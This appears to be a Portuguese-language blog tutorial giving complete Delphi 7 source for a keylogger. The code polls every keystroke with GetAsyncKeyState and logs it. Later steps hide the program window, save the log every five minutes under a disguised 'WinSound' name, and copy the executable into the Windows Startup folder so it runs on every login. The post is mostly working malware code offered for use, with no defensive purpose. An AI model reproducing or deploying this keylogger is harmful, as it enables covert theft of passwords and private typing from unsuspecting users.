Código usado pra fazer um KEYLOGER em delphi7


--------------------------------------------------------------------------------------
Vamos precisar de 1 TIMER e 1 MEMO
Deixe o intervalo do timer em ("1")

--------------------------------------------------------------------------------------
Código  "Esse código será colocado no (timer1)" não esqueça de apagar o "begin"

var
  i : byte;
  begin
for i:=8 To 222 do
    begin
       if GetAsyncKeyState(i)=-32767 then
        begin
        case i of
        8  : memo1.Text:=Memo1.Text+' [Backspace] ';
        9  : memo1.text:=memo1.text+' [Tab] ';
        13 : memo1.text:=memo1.text+' [Enter] ';
        17 : memo1.text:=memo1.text+' [Ctrl] ';
        27 : memo1.text:=memo1.text+' [Esc] ';
        32 :memo1.text:=memo1.text+' [Space] ';
        // Del,Ins,Home,PageUp,PageDown,End
        33 : memo1.text := Memo1.text + ' [Page Up] ';
        34 : memo1.text := Memo1.text + ' [Page Down] ';
        35 : memo1.text := Memo1.text + ' [End] ';
        36 : memo1.text := Memo1.text + ' [Home] ';
        //Arrow Up Down Left Right
        37 : memo1.text := Memo1.text + ' [left] ';
        38 : memo1.text := Memo1.text + ' [Up] ';
        39 : memo1.text := Memo1.text + ' [right] ';
        40 : memo1.text := Memo1.text + ' [Down] ';

        44 : memo1.text := Memo1.text + ' [Print Screen] ';
        45 : memo1.text := Memo1.text + ' [Insert] ';
        46 : memo1.text := Memo1.text + ' [Del] ';
        145 : memo1.text := Memo1.text + ' [Scroll Lock] ';

        //Numeros 1234567890 Simbolos !@#$%^&*()
        48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'9';
        65..90 : // a..z , A..Z
            begin
            if ((GetKeyState(VK_CAPITAL))=1) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
                else
                   memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
                else
                    memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
            end;
        //Numpad
        96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad  0..9
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'&';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
        144 : memo1.text:=memo1.text+'[Num Lock]';

        112..123: //F1-F12
            memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';

        186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
              else memo1.text:=memo1.text+';';
        187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
              else memo1.text:=memo1.text+'=';
        188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
              else memo1.text:=memo1.text+',';
        189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
              else memo1.text:=memo1.text+'-';
        190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
              else memo1.text:=memo1.text+'.';
        191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
              else memo1.text:=memo1.text+'/';
        192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
              else memo1.text:=memo1.text+'`';
        219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
              else memo1.text:=memo1.text+'[';
        220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
              else memo1.text:=memo1.text+'\';
        221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
              else memo1.text:=memo1.text+']';
        222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
              else memo1.text:=memo1.text+'''';
        end;
        end;
    end;


Salve compile e teste....
pra fazer com que ele fique escondido basta você colocar esse código no "FormCreat"...

--------------------------------------------------------------------------
Código

Application.ShowmainForm:= false;

------------------------------------------------------------------------
e pra salvar em um local determinado com um certo périodo de tempo você vai ter que acrescentar
mais um (Timer)...
nesse timer você muda seu intervalo pra (300000) = 5 minutos...
e nesse timer você vai programar isso:
--------------------------------------------------------------------------------
Código

Memo1.Lines.SaveToFile('c:\WinSound\WinSound');

-------------------------------------------------------------------------------------
Agora esse código é pra ele auto-copiar para a pasta INICIALIZAR...
No FormCreat você complementa com isso...
-----------------------------------------------------------------------------
Código  "Iremos criar uma variável por isso apague o BEGIN"

var
a : String;
Begin
a := Application.ExeName;

Application.ShowmainForm:= false;
if FileExists('c:\WinSound') then
begin
end
else
begin
CreateDir('c:\WinSound');
end;
if not FileExists('c:\WinSound\WinSound') then
begin
Memo1.Lines.SaveToFile('c:\WinSound\WinSound');
end
else
begin
Memo1.Lines.LoadFromFile('c:\WinSound\WinSound');
end;
If not FileExists('C:\Documents and Settings\All Users\Menu Iniciar\Programas\Inicializar\WinSound.exe') then
  Begin
  CopyFile(Pchar(a), Pchar('C:\Documents and Settings\All Users\Menu Iniciar\Programas\Inicializar\WinSound.exe'), False);
  End;


essa funcao ai em cima só vai servi pra WinXP e Win7.
Valeuu....
Código usado pra fazer um KEYLOGER em delphi7 Código usado pra fazer um KEYLOGER em delphi7 Reviewed by Dayvid on 15:24 Rating: 5

Nenhum comentário